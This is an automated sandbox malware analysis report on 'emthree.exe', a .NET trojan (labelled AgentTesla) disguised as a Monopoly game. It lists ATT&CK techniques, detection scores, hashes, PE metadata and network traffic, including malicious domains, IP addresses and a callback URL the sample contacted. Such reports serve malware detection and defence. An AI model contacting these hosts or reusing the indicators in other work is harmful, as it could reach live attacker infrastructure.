Valid Accounts	Shared Modules1	DLL Side-Loading1	Process Injection512	Rootkit1	Credential API Hooking1	Security Software Discovery221	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	DLL Side-Loading1	Masquerading1	Input Capture1	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer4	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion3	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Archive Collected Data1	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Disable or Modify Tools1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection512	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Information Discovery112	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information3	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Rundll321	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Software Packing13	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Timestomp1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	DLL Side-Loading1	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
emthree.exe	41%	Metadefender		Browse
emthree.exe	65%	ReversingLabs	Win32.Trojan.AgentTesla
emthree.exe	100%	Avira	TR/Kryptik.zirmt
emthree.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.2.emthree.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.comm	0%	URL Reputation	safe
http://www.fontbureau.comm	0%	URL Reputation	safe
http://www.fontbureau.comm	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.fontbureau.comu	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.porncamslivechat.com/unx5/?YBZpk4k0=aP/H6rv5dFlIxT1BkbsZYq0qqc+q/KR6FDazEtWbPmCTekqgSoQQ9LKqFpQ/1cw8Q+Tu&Wt=LhnLHro0q	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.amarilloautoexpress.com	23.27.109.19	true	true	unknown
porncamslivechat.com	184.154.50.243	true	true	unknown
www.porncamslivechat.com	unknown	unknown	true	unknown
www.asojebu.com	unknown	unknown	true	unknown
www.haircuressteampod.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.porncamslivechat.com/unx5/?YBZpk4k0=aP/H6rv5dFlIxT1BkbsZYq0qqc+q/KR6FDazEtWbPmCTekqgSoQQ9LKqFpQ/1cw8Q+Tu&Wt=LhnLHro0q	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, emthree.exe, 00000000.00000002.238970430.00000000019F7000.00000004.00000040.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.coml	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.fontbureau.comm	emthree.exe, 00000000.00000002.238970430.00000000019F7000.00000004.00000040.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.fonts.com	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.comu	emthree.exe, 00000000.00000002.238970430.00000000019F7000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.27.109.19	unknown	United States		18779	EGIHOSTINGUS	true
184.154.50.243	unknown	United States		32475	SINGLEHOP-LLCUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	323574
Start date:	27.11.2020
Start time:	06:35:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 6s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	emthree.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@4/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 19.8% (good quality ratio 18%) Quality average: 73.7% Quality standard deviation: 30.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 51.104.139.180, 2.20.84.85, 52.155.217.156, 20.54.26.129, 40.67.254.36, 2.20.142.209, 2.20.142.210, 92.122.213.247, 92.122.213.194, 204.79.197.200, 13.107.21.200 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wns.notify.windows.com.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, par02p.wns.notify.windows.com.akadns.net, db5p.wns.notify.windows.com.akadns.net, emea1.notify.windows.com.akadns.net, audownload.windowsupdate.nsatc.net, www-bing-com.dual-a-0001.a-msedge.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, blobcollector.events.data.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/323574/sample/emthree.exe

Simulations

Behavior and APIs

Time	Type	Description
06:36:09	API Interceptor	15x Sleep call for process: emthree.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SINGLEHOP-LLCUS	document-1514127389.xls	Get hash	malicious	Browse	67.212.179.162
	document-1514127389.xls	Get hash	malicious	Browse	67.212.179.162
	document-1561665791.xls	Get hash	malicious	Browse	67.212.179.162
	document-1597193979.xls	Get hash	malicious	Browse	67.212.179.162
	document-1561665791.xls	Get hash	malicious	Browse	67.212.179.162
	document-1502756172.xls	Get hash	malicious	Browse	67.212.179.162
	document-1502756172.xls	Get hash	malicious	Browse	67.212.179.162
	document-1593420450.xls	Get hash	malicious	Browse	67.212.179.162
	document-1526904949.xls	Get hash	malicious	Browse	67.212.179.162
	document-1593420450.xls	Get hash	malicious	Browse	67.212.179.162
	document-1526904949.xls	Get hash	malicious	Browse	67.212.179.162
	document-1560775643.xls	Get hash	malicious	Browse	67.212.179.162
	document-1560775643.xls	Get hash	malicious	Browse	67.212.179.162
	document-162270445.xls	Get hash	malicious	Browse	67.212.179.162
	document-162270445.xls	Get hash	malicious	Browse	67.212.179.162
	document-1490556011.xls	Get hash	malicious	Browse	67.212.179.162
	document-1490556011.xls	Get hash	malicious	Browse	67.212.179.162
	document-1469700244.xls	Get hash	malicious	Browse	67.212.179.162
	document-1469700244.xls	Get hash	malicious	Browse	67.212.179.162
	document-1511476.xls	Get hash	malicious	Browse	67.212.179.162
EGIHOSTINGUS	PI202009255687.xlsx	Get hash	malicious	Browse	104.164.99.242
	VOMAXTRADING.doc	Get hash	malicious	Browse	50.117.11.156
	inv.exe	Get hash	malicious	Browse	104.164.35.80
	2020112395387_pdf.exe	Get hash	malicious	Browse	104.164.99.242
	EME_PO.39134.xlsx	Get hash	malicious	Browse	104.164.26.233
	new quotation order.exe	Get hash	malicious	Browse	104.252.31.62
	POGWEAP.xlsx	Get hash	malicious	Browse	172.120.44.167
	oqTdpbN5rF.exe	Get hash	malicious	Browse	104.252.192.7
	Purchase Order 40,7045$.exe	Get hash	malicious	Browse	104.253.79.71
	Payment Advice - Advice Ref GLV823990339.exe	Get hash	malicious	Browse	104.164.52.200
	INQUIRY.exe	Get hash	malicious	Browse	45.39.88.85
	Invoice.exe	Get hash	malicious	Browse	45.39.153.189
	new file.exe.exe	Get hash	malicious	Browse	136.0.180.203
	hjKM0s7CWW.exe	Get hash	malicious	Browse	172.121.57.222
	9Ul8m9FQ47.exe	Get hash	malicious	Browse	107.164.194.74
	n4uladudJS.exe	Get hash	malicious	Browse	107.164.194.74
	qkN4OZWFG6.exe	Get hash	malicious	Browse	50.117.84.157
	kvdYhqN3Nh.exe	Get hash	malicious	Browse	50.117.84.157
	NzI1oP5E74.exe	Get hash	malicious	Browse	172.121.57.222
	jtFF5EQoEE.exe	Get hash	malicious	Browse	142.252.135.158

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\emthree.exe.log Download File
Process:	C:\Users\user\Desktop\emthree.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	5.345637324625647
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4VE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKz5
MD5:	6C42AAF2F2FABAD2BAB70543AE48CEDB
SHA1:	8552031F83C078FE1C035191A32BA43261A63DA9
SHA-256:	51D07DD061EA9665DA070B95A4AC2AC17E20524E30BF6A0DA8381C2AF29CA967
SHA-512:	014E89857B811765EA7AA0B030AB04A2DA1957571608C4512EC7662F6A4DCE8B0409626624DABC96CBFF079E7F0F4A916E6F49C789E00B6E46AD37C36C806DCA
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.696882160461213
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	emthree.exe
File size:	459776
MD5:	25b5788669a3a8f35596ce975f0823a7
SHA1:	77e07883f131f342e3d24954ea348d25554440a1
SHA256:	f3024d8a77f7d80b8e1f44a868913ad76e926d5add36cdc27332c42c3cc012a3
SHA512:	53f7273b1d20ec613cb1bcb0c4a30272c90f8585515be013f52be236e9cccc4457b2fab52b9649092807f4de9ab9da21a11d63897c0ed8e9fff02eebefaf1f03
SSDEEP:	12288:YK8UvYOUgUihAbxk6nVTBWOfK/Kl3+XXt8LF:YK8Uv2dbvT0OfKClid8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f................0.............f.... ... ....@.. .......................`............@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x471966
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xCD1766EF [Fri Jan 13 19:15:59 2079 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x71914	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x72000	0x594	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x74000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x718f8	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6f96c	0x6fa00	False	0.841486299692	data	7.70662287757	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x72000	0x594	0x600	False	0.415364583333	data	4.06023267139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x74000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x72090	0x304	data
RT_MANIFEST	0x723a4	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2019
Assembly Version	1.0.0.0
InternalName	.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	Monopoly
ProductVersion	1.0.0.0
FileDescription	Monopoly
OriginalFilename	.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2020 06:37:46.503295898 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:46.628735065 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:46.628865004 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:46.629072905 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:46.754323959 CET	80	49746	184.154.50.243	192.168.2.5
